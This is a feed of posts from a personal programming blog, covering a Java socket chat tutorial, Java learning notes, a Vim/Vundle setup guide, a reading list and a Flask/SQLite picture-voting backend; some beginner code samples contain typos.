<span class="k">while</span> <span class="o">(</span><span class="n">bConnected</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">dis</span><span class="o">.</span><span class="na">readUTF</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">EOFException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Client closed!"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">dis</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
<span class="n">dis</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">s</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
<span class="n">s</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e1</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e1</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="9">9.</h3>
<p>#END</p>
ChatProject---1
2015-04-26T00:00:00+00:00
http://fish267.github.io/2015/04/26/ChatProject1
<p>I have not installed the Chinese input method. It is really cool to write this blog in English, lol~
It is a simple chat project implemented by java. I followed the MSB java tutorial and I am here to say thank you to the graceful teather.</p>
<h2 id="1-init-a-chat-window">1. Init a chat window</h2>
<p>The first version is about to init a GUI window, it is so simple that you could not close it on clicking the X button. Based on the package Frame.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">import</span> <span class="nn">java.awt.*</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatClient</span> <span class="kd">extends</span> <span class="nc">Frame</span><span class="o">{</span>
<span class="nc">TextField</span> <span class="n">tf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextField</span><span class="o">();</span>
<span class="nc">TextArea</span> <span class="n">ta</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextArea</span><span class="o">();</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">ChatClient</span> <span class="n">cc</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ChatClient</span><span class="o">();</span>
<span class="n">cc</span><span class="o">.</span><span class="na">launchFrame</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">launchFrame</span> <span class="o">()</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">setLocation</span><span class="o">(</span><span class="mi">400</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">400</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tf</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">SOUTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">ta</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">NORTH</span><span class="o">);</span>
<span class="n">pack</span><span class="o">();</span>
<span class="k">this</span><span class="o">.</span><span class="na">setVisible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<!--more-->
<h2 id="2-add-a-closing-function">2. Add a closing function.</h2>
<p>Package java.awt.event.* should be imported. Then give the window a listener.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">import</span> <span class="nn">java.awt.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.event.*</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatClient</span> <span class="kd">extends</span> <span class="nf">Frame</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">TextField</span> <span class="n">tf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextField</span><span class="o">();</span>
<span class="nc">TextArea</span> <span class="n">ta</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextArea</span><span class="o">();</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatClient</span><span class="o">().</span><span class="na">launchFrame</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">launchFrame</span><span class="o">()</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">setLocation</span><span class="o">(</span><span class="mi">400</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">400</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tf</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">SOUTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">ta</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">NORTH</span><span class="o">);</span>
<span class="n">pack</span><span class="o">();</span>
<span class="c1">// add action listener</span>
<span class="k">this</span><span class="o">.</span><span class="na">addWindowListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">WindowAdapter</span><span class="o">)</span> <span class="o">{</span>
<span class="nd">@override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">windowClosing</span><span class="o">(</span><span class="nc">WindowEvent</span> <span class="n">arg0</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="k">this</span><span class="o">.</span><span class="na">setVisible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h2 id="3-make-textarea-showing-the-content">3. Make textarea showing the content.</h2>
<p>We are still on the beginning, and we try to let textare show what we typed int the textField.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">import</span> <span class="nn">java.awt.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.*</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nf">ChatClient</span><span class="o">()</span> <span class="kd">extends</span> <span class="nc">Frame</span> <span class="o">{</span>
<span class="nc">TextField</span> <span class="n">tf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextField</span><span class="o">();</span>
<span class="nc">TextArea</span> <span class="n">ta</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextArea</span><span class="o">();</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatClient</span><span class="o">().</span><span class="na">launchFrame</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">launchFrame</span><span class="o">()</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">setLocation</span><span class="o">(</span><span class="mi">400</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tf</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">SOUTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">ta</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">NORTH</span><span class="o">);</span>
<span class="n">pack</span><span class="o">();</span>
<span class="k">this</span><span class="o">.</span><span class="na">addWindowListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">WindowAdapter</span><span class="o">()</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">windowClosing</span><span class="o">(</span><span class="nc">WindowEvent</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">});</span>
<span class="n">tf</span><span class="o">.</span><span class="na">addActionListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">TFListener</span><span class="o">());</span>
<span class="k">this</span><span class="o">.</span><span class="na">setVisible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kd">class</span> <span class="nc">TFListener</span> <span class="kd">implements</span> <span class="nc">ActionListener</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">actionPerformed</span><span class="o">(</span><span class="nc">ActionEvent</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">trim</span><span class="o">();</span>
<span class="n">ta</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="n">tf</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">""</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h2 id="4-start-a-server">4. Start a server</h2>
<p>In last version we created a simple chat client which can be closed and can show the content we typed in. Now let us start to create the server based on java.net.*.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">import</span> <span class="nn">java.net.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatServer</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="nc">ServerSocket</span> <span class="n">ss</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ServerSocket</span><span class="o">(</span><span class="mi">8888</span><span class="o">);</span>
<span class="k">while</span><span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="n">ss</span><span class="o">.</span><span class="na">accept</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"A client has connected"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h2 id="5-let-chatclient-connect-to-chatserver">5. Let chatclient connect to chatserver</h2>
<p>Write a ClientSocket which can connect to ServerSocket.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">import</span> <span class="nn">java.awt.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.*</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatClient</span> <span class="kd">extends</span> <span class="nc">Frame</span> <span class="o">{</span>
<span class="nc">TextField</span> <span class="n">tf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextField</span><span class="o">();</span>
<span class="nc">TextArea</span> <span class="n">ta</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextArea</span><span class="o">();</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatClient</span><span class="o">().</span><span class="na">launchFrame</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">launchFrame</span><span class="o">()</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">setLocation</span><span class="o">(</span><span class="mi">400</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tf</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">SOUTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">ta</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">NORTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">addWindowListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">WindowAdapter</span><span class="o">()</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">windowClosing</span><span class="o">(</span><span class="nc">WindowEvent</span> <span class="n">arg</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">});</span>
<span class="n">tf</span><span class="o">.</span><span class="na">addActionListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">TFListener</span><span class="o">());</span>
<span class="k">this</span><span class="o">.</span><span class="na">setVisible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="n">connect</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kd">class</span> <span class="nc">TFListener</span> <span class="kd">implements</span> <span class="nc">ActionListener</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">actionPerformed</span><span class="o">(</span><span class="nc">ActionEvent</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">trim</span><span class="o">();</span>
<span class="n">ta</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="n">tf</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">""</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="n">connect</span> <span class="o">{</span>
<span class="k">try</span><span class="o">{</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Sokcet</span><span class="o">(</span><span class="s">"127.0.0.1"</span><span class="o">,</span> <span class="mi">8888</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Connected to server!"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
Java学习笔记
2015-04-04T00:00:00+00:00
http://fish267.github.io/2015/04/04/java-learning
<p>工作需求,猛看Java,学习完了马士兵老师的第一阶段视频,做一下记录和总结。</p>
<p>##Hello world</p>
<p>HelloWorld.java</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kd">public</span> <span class="kd">class</span> <span class="nc">HelloWorld</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Hello world !"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p>##变量</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>byte int short long float double char boolean
</code></pre></div></div>
<p>##数组</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int a[];
int [] a = new int[100];
int [] b = new int[] {1, 2, 3};
</code></pre></div></div>
<p>#类</p>
<p>FaceObject.java</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kd">interface</span> <span class="nc">dot</span> <span class="o">{</span>
<span class="kt">void</span> <span class="nf">fishing</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">FaceObject</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Fish</span> <span class="n">f</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Fish</span><span class="o">();</span>
<span class="n">f</span><span class="o">.</span><span class="na">fishing</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">class</span> <span class="nc">Fish</span> <span class="n">implents</span> <span class="n">dot</span><span class="o">{</span>
<span class="kd">private</span> <span class="kt">int</span> <span class="n">amount</span><span class="o">;</span>
<span class="kt">void</span> <span class="nf">fishing</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Fsh is fishing"</span><span class="o">);</span>
<span class="o">}</span>
<span class="kt">int</span> <span class="nf">getAmount</span><span class="o">()</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">amount</span><span class="o">;</span>
<span class="o">}</span>
<span class="nc">Fish</span><span class="o">(</span><span class="kt">int</span> <span class="n">amount</span><span class="o">)</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">amount</span> <span class="o">=</span> <span class="n">amount</span><span class="o">;</span>
<span class="o">}</span>
<span class="nc">Fish</span><span class="o">()</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">amount</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p>#END</p>
Vim初始化设置
2015-02-17T00:00:00+00:00
http://fish267.github.io/2015/02/17/vim-init
<p>Vim使用vundle安装插件比较方便,类似pip npm等等。</p>
<h2 id="安装和配置">安装和配置</h2>
<p>下载vundle</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>git clone https://github.com/gmarik/vundle.git ~/.vim/bundle/vundle</code></pre></figure>
<!--more-->
<h2 id="在vimrc中添加如下内容">在.vimrc中添加如下内容</h2>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">set </span><span class="nv">mouse</span><span class="o">=</span>a <span class="s2">" Enable mouse usage (all modes)
set autoindent
set smartindent
set nu
set ts=4
set shiftwidth=4
set softtabstop=4
set expandtab
set smarttab
colorscheme elflord
inoremap jk <ESC>:w
set nocompatible "</span> be iMproved
filetype off <span class="s2">" required!
set rtp+=~/.vim/bundle/vundle/
call vundle#rc()
"</span> <span class="nb">let </span>Vundle manage Vundle
Bundle <span class="s1">'gmarik/vundle'</span>
<span class="s2">"my Bundle here:
"</span>
<span class="s2">" original repos on github
Bundle 'kien/ctrlp.vim'
Bundle 'sukima/xmledit'
Bundle 'sjl/gundo.vim'
Bundle 'jiangmiao/auto-pairs'
Bundle 'klen/python-mode'
Bundle 'Valloric/ListToggle'
Bundle 'SirVer/ultisnips'
Bundle 'scrooloose/syntastic'
Bundle 't9md/vim-quickhl'
Bundle 'Valloric/YouCompleteMe'
"</span> Bundle <span class="s1">'Lokaltog/vim-powerline'</span>
Bundle <span class="s1">'scrooloose/nerdcommenter'</span>
<span class="s2">"..................................
"</span> vim-scripts repos
Bundle <span class="s1">'YankRing.vim'</span>
Bundle <span class="s1">'vcscommand.vim'</span>
Bundle <span class="s1">'ShowPairs'</span>
Bundle <span class="s1">'SudoEdit.vim'</span>
Bundle <span class="s1">'EasyGrep'</span>
Bundle <span class="s1">'VOoM'</span>
Bundle <span class="s1">'VimIM'</span>
<span class="s2">"..................................
"</span> non github repos
<span class="s2">" Bundle 'git://git.wincent.com/command-t.git'
"</span>......................................
filetype plugin indent on
<span class="nb">let </span>g:yankring_history_dir <span class="o">=</span> <span class="s1">'/home/fish/.vim'</span></code></pre></figure>
<h2 id="设置ycm">设置YCM</h2>
<p>安装完成后,ycm报错,需要进入插件目录重新安装一下</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">cd</span> ~/.vim/bundle/YouCompleteMe
./install.sh <span class="nt">--clang-completer</span></code></pre></figure>
<h2 id="安装插件">安装插件</h2>
<p>进入vim ,执行 :BundleInstall</p>
<h2 id="其他">其他</h2>
<p>更新插件:BundleUpdate
清除不再使用的插件:BundleClean,
列出所有插件:BundleList
查找插件:BundleSearch</p>
<h2 id="参考文章">参考文章</h2>
<p>http://zuyunfei.com/2013/04/12/killer-plugin-of-vim-vundle/</p>
<p>http://blog.marchtea.com/archives/175</p>
<h1 id="end">END</h1>
2015年一月份书单
2015-01-31T00:00:00+00:00
http://fish267.github.io/2015/01/31/books
<p>这个月去西藏陪女友26天,看书少了点。</p>
<ol>
<li>
<p>《改变未来的九大算法》 [美] 约翰.麦考密克</p>
</li>
<li>
<p>《不负如来不负卿》 小春</p>
</li>
<li>
<p>《创业小败局》 i黑马</p>
</li>
<li>
<p>《极简欧洲史》 约翰·赫斯特</p>
</li>
<li>
<p>《我就是想停下来,看看世界》 陈宇欣</p>
</li>
<li>
<p>《时间之墟》 宝树</p>
</li>
<li>
<p>《傅雷家书》 傅雷</p>
</li>
<li>
<p>《Flask Web Development》 Miguel Grinberg</p>
</li>
<li>
<p>《一只特立独行的猪》 王小波</p>
</li>
</ol>
比妹子网站设计---后端设计
2015-01-19T00:00:00+00:00
http://fish267.github.io/2015/01/19/meizi3
<p>比妹子网站后端使用python的web框架flask,为什不用Django呢?因为最近看了看Flask的document,强行使用一下吧。可以看出,这个框架安全性简直为0!</p>
<p>###数据库模块</p>
<p>使用Sqlite3数据库,就是一个小表~ 表格如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drop table if exists picture;
create table picture(
id integer primary key autoincrement,
name text unique not null,
support integer default 0
);
</code></pre></div></div>
<!--more-->
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">.</span><span class="n">from_object</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="c1">#Configuration
</span><span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="nb">dict</span><span class="p">(</span>
<span class="n">DATABASE</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">root_path</span><span class="p">,</span> <span class="s">'meizi.db'</span><span class="p">),</span>
<span class="n">DEBUG</span> <span class="o">=</span> <span class="bp">True</span><span class="p">,</span>
<span class="p">))</span>
<span class="c1">#DATEBASE
</span><span class="k">def</span> <span class="nf">init_db</span><span class="p">():</span>
<span class="k">with</span> <span class="n">app</span><span class="p">.</span><span class="n">app_context</span><span class="p">():</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">get_db</span><span class="p">()</span>
<span class="k">with</span> <span class="n">app</span><span class="p">.</span><span class="n">open_resource</span><span class="p">(</span><span class="s">'meizi.sql'</span><span class="p">,</span> <span class="n">mode</span> <span class="o">=</span> <span class="s">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">db</span><span class="p">.</span><span class="n">cursor</span><span class="p">().</span><span class="n">executescript</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">db</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">connect_db</span><span class="p">():</span>
<span class="n">rv</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="s">'DATABASE'</span><span class="p">])</span>
<span class="k">return</span> <span class="n">rv</span>
<span class="k">def</span> <span class="nf">get_db</span><span class="p">():</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="s">'sqlite_db'</span><span class="p">):</span>
<span class="n">g</span><span class="p">.</span><span class="n">sqlite_db</span> <span class="o">=</span> <span class="n">connect_db</span><span class="p">()</span>
<span class="k">return</span> <span class="n">g</span><span class="p">.</span><span class="n">sqlite_db</span>
<span class="k">def</span> <span class="nf">close_db</span><span class="p">():</span>
<span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="s">'sqlite_db'</span><span class="p">):</span>
<span class="n">g</span><span class="p">.</span><span class="n">sqlite_db</span><span class="p">.</span><span class="n">close</span><span class="p">()</span></code></pre></figure>
<p>###首页+功能展示</p>
<p>首页就是两个图片,对比一下,选择一个喜欢的,点击。涉及数据库随机出来两个图片,使用 order by randon() 语句实现就行。</p>
<p>鼠标点击事件,传回来点击图片的id,然后在数据库端增加个支持率。</p>
<p>还有Top10, random ,无非是返回前十个照片数据库信息和随机几个照片信息。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">,</span> <span class="n">methods</span> <span class="o">=</span> <span class="p">[</span><span class="s">'get'</span><span class="p">,</span> <span class="s">'post'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">connect_db</span><span class="p">()</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'select * from picture order by RANDOM() limit 2'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'index.html'</span><span class="p">,</span> <span class="n">lists</span> <span class="o">=</span> <span class="p">(</span><span class="n">cur</span><span class="p">.</span><span class="n">fetchall</span><span class="p">()))</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/click'</span><span class="p">,</span> <span class="n">methods</span> <span class="o">=</span> <span class="p">[</span><span class="s">'post'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">click</span><span class="p">():</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">connect_db</span><span class="p">()</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">)</span>
<span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'pic_id'</span><span class="p">]</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">db</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'update picture set support = support + 2 where id = %d'</span> \
<span class="o">%</span><span class="nb">int</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'pic_id'</span><span class="p">]))</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'pic_id'</span><span class="p">])</span>
<span class="n">db</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
